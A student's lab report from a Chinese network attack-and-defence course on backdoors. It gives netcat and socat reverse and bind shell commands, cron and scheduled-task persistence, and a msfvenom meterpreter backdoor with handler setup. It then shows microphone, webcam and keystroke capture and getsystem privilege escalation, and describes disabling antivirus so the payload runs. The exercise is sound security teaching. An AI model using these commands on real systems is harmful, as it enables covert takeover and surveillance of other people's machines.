2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165215
实验内容
1、使用netcat获取主机操作Shell,cron启动
2、使用Socat获取主机操作Shell, 任务计划启动
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
基础问题回答
- 问:例举你能想到的一个后门进入到你系统中的可能方式?
- 网页挂马
- 通过U盘、邮件或盗版软件传播
- 编译器或操作系统中存在的
- 问:例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:开机自启动、修改注册表项、诱导用户双击运行
- Linux:利用cronta将后门设为定时启动
- 问:Meterpreter有哪些给你映像深刻的功能?
- 获取被控主机的录音、录像、截图、键盘输入记录
- 几乎可以肆意妄为
- 问:如何发现自己有系统有没有被安装后门?
- 开启防火墙,查看开启的端口及对应的进程
- 安装杀毒软件,实时防护,并定期对电脑进行检查
- 查看任务计划程序、开机自启动项、注册表项中是否有可疑程序
常用后门工具
Netcat
Netcat是一个底层工具,进行基本的TCP UDP数据收发,主要用于调试领域、传输领域甚至黑客攻击领域。
windows 获取 linux 的shell
1、在Windows下使用ipconfig查看本机IP为192.168.1.239

2、使用ncat.exe程序监听本机的5215端口ncat.exe -l -p 5215
3、在Kali环境下,使用nc 192.168.1.239 5215 -e /bin/sh指令反向连接Windows主机的5215端口

4、成功获得Kali的shell,可运行任何指令,如ls

linux 获取 winsdows 的shell
1、在Kali环境中使用ifconfig查看IP为192.168.116.128

2、使用nc指令监听5215端口nc -l -p 5215
3、在Windows下,使用ncat.exe -e cmd.exe 192.168.116.128 5215指令反向连接Kali主机的5215端口

4、Kali下可以看到Windows的命令提示

使用nc传输数据
1、Windows下使用ncat.exe -l 5215指令监听5215端口
2、kali使用nc 192.168.1.239 5215指令反弹连接到Windows的5215端口

3、连接建立成功,双方可以相互传输数据

使用nc传文件
1、Windows下监听5215端口,并把收到的数据保存到5215.txt中,ncat.exe -l 5215 > 5215.txt
2、kali使用nc 192.168.1.239 5215 < 5215.in反弹连接到Windows的5215端口

3、连接建立成功,Win可以收到kali发来的文件

Socat
- socat是ncat的增强版,它使用的格式是
socat [options] <address> <address>,其中两个address是必选项,而options是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
MSFmeterpreter
- 这是一个生成后门程序的平台,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 参数说明
-p使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e使用的编码器,用于对shellcode变形,为了免杀。-i编码器的迭代次数。如上即使用该编码器编码5次。-bbadchar是payload中需要去除的字符。LHOST是反弹回连的IPLPORT是回连的端口-f生成文件的类型>输出到哪个文件
实验内容
任务一:使用netcat获取主机操作Shell,cron启动
这里将wwindows作为攻击机,kali作为被攻击机
1、Windows中使用ncat.exe -l 5215监听5215端口
2、在Kali中,使用crontab -e指令编辑一条定时任务,选择编辑器时选择"3"

3、在底行插入43 * * * * /bin/netcat 192.168.1.239 5215 -e /bin/sh(意为在每个小时的第43分钟反向连接Windows的5215端口)
4、:wq保存退出配置即生效,可通过crontab -l查看

5、在系统时间到第43分时,windows获得kali shell

任务二:使用socat获取主机操作Shell, 任务计划启动
1、在Wiondws中搜索任务计划程序,在弹出的窗口右侧选择创建任务

2、填写任务名称20165215后,选择触发器-新建,设为工作站锁定时

3、选择新建,再程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5215 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5215,同时把cmd.exe的stderr重定向到stdout上,点击确定。

4、在列表中右键选中刚刚创建的任务,点击运行

5、在kali中输入socat - tcp:192.168.1.239:5215(IP为windows的IP),可以发现已经成功获得一个cmd shell

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 -f exe > 20165215_backdoor.exe(IP为kali的IP)生成后门程序20165215_backdoor.exe
2、在Windows中使用ncat.exe -lv 5215 > 20165215_backdoor.exe使被控主机就进入接收文件模式,其中-lv是显示当前的连接状态

3、kali中输入nc 192.168.1.239 5215 < 20165215_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机上

4、在kali中新打开一个终端,使用msfconsole进入msf控制台,设置各项参数,执行监听
5、输入use exploit/multi/handler使用监听模块,设置payload
6、输入set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
7、输入set LHOST 192.168.116.128(此处是Kali的IP),和生成后门程序时指定的IP相同
8、输入set LPORT 5215,同样要使用相同的端口
9、输入show options进行查看,可以看到相应的ip地址和端口号已经变成我们所设置的

10、输入exploit开始监听

11、在windows端运行后门程序20165215_backdoor.exe
12、此时kali获得Windows主机的连接,并且得到了远程控制的shell

任务四:使用meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
重复任务三的操作直至exploit
1、使用record_mic获取主机音频

2、使用webcam_snap获取主机摄像头

3、使用screenshot进行截屏

4、使用keyscan_start指令开始记录击键的过程,使用keyscan_dump指令读取击键的记录

5、使用getuid指令查看当前用户,使用getsystem指令进行提权

实验过程中遇到的问题
- 执行
20165215_backdoor.exe程序时出现如下错误:

- 解决方法:关闭杀毒软件和防火墙后重新运行
实验总结与体会
这次的实验内容很有趣,使我们对后门的了解更加深入,也更深切地体会到netcat、socat和MSFmeterpreter等后门工具的强大。懂得攻击方法后,在平常使用中,可以很好地提高我们的防范意识,比如我早就机智地将摄像头贴上了小图标~
2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165215的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- JDBC API 事务的实践
使用了持久化框架几乎没有使用过原生的jdbc API ,发现原来使用jdbc API来实现事务也是很简单的. 数据库的链接connection具有一个属性autocommit,这个属性默认是true, ...
- Wireshark简单使用教程2——附视频
视频链接https://www.bilibili.com/video/av35336089/ 目录 对抓取的流量包进行简单的说明 Wireshark的捕获过滤器和显示过滤器 内容 1.对抓取的流量包进 ...
- windows下创建.gitignore
网上搜索 .gitignore 的创建,很多linux上的,而且还一样,... 尝试了几次,windows可以这样写 .svn/ .settings/ .buildpath .project
- 让Delphi的TRichEdit支持新标准
先说明, 不是直接让TRichedit支持, 而是派生出一个类支持 原理就是, IDE自带的richedit使用的是2.0版本(RICHEDIT20A/RICHEDIT20W), 这个版本虽然支持图片 ...
- MySQL中dblink的实现(通过federated引擎实现)
最近项目中涉及MySQL数据库视图的创建,需要整合两个位于不同服务器上数据库的内容,就遇到了远程访问数据库的问题.在oracle中可以通过dblink来实现跨本地数据库来访问另外一个数据库中的数据.通 ...
- 《Mysql 锁》
一:什么是锁? - 锁是计算机协调多个进程或纯线程并发访问某一资源的机制. - 通俗的来说,锁是一种对资源的保护形式. 二:锁分类 - 表级锁 - 开销小,加锁快,没有死锁,锁定粒度大,发生锁冲突的概 ...
- Spring Cloud 之Eureka(一)
简介 Eureka是Spring cloud 的基本套件之一,是基于Netflix 的Eureka做的二次封装,主要是负责完成微服务架构中的服务治理功能.它是微服务架构中最为核心和基础的模块,它主要是 ...
- Linux shell编程:状态变量
四大特殊状态变量:$?. $$. $!. $_ $?的作用是:获取执行上一个指令的执行状态返回值,返回0表示上一个命令或者程序执行成功,返回的值为非0则表示上一个命令执行失败. $$的作用是:获取当前 ...
- 数据库主库从库宕机重启后binlog数据同步
由于阿里云经典网络迁移到专用网络,一不小心没有先预备方案调整网段, 导致实例无法以内网IP形式访问数据库,被迫进行数据库停机后网络网段调整,导致宕机了几个小时...被客户各种投诉爆了.. 基于这次数据 ...
- gitbook build/serve 失败,Error: ENOENT: no such file or directory, stat ...
我使用的 gitbook 版本 CLI version: 2.3.2 GitBook version: 3.2.3 在使用 gitbook 生成文档时,发现编译偶尔不规律性地出现错误 d:\Mine\ ...